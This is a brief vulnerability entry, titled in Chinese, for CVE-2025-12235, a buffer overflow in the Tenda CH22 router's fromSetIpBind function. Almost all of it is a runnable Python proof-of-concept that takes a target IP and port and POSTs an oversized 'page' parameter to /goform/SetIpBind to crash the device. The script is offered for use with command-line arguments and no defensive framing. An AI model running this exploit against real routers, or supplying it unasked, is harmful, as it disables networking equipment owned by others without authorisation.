CVE-2025-12235 Tenda CH22路由器fromSetIpBind函数缓冲区溢出漏洞

import requests import sys def exploit_cve_2025_12235(target_ip, target_port=80): """ CVE-2025-12235 PoC - Tenda CH22 Buffer Overflow in /goform/SetIpBind Target: Tenda CH22 1.0.0.1 Vulnerability: Buffer overflow via page parameter in fromSetIpBind function """ # Construct malicious payload with oversized page parameter # Buffer overflow occurs when page parameter exceeds buffer size payload = { 'page': 'A' * 1000 # Oversized input to trigger overflow } url = f"http://{target_ip}:{target_port}/goform/SetIpBind" try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['page'])}") response = requests.post(url, data=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: print("[+] Exploit sent successfully - device may be vulnerable") else: print("[-] Unexpected response from target") except requests.exceptions.Timeout: print("[-] Request timed out - device may have crashed or is not vulnerable") except requests.exceptions.ConnectionError: print("[-] Connection error - target may be offline") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_12235(target_ip, target_port)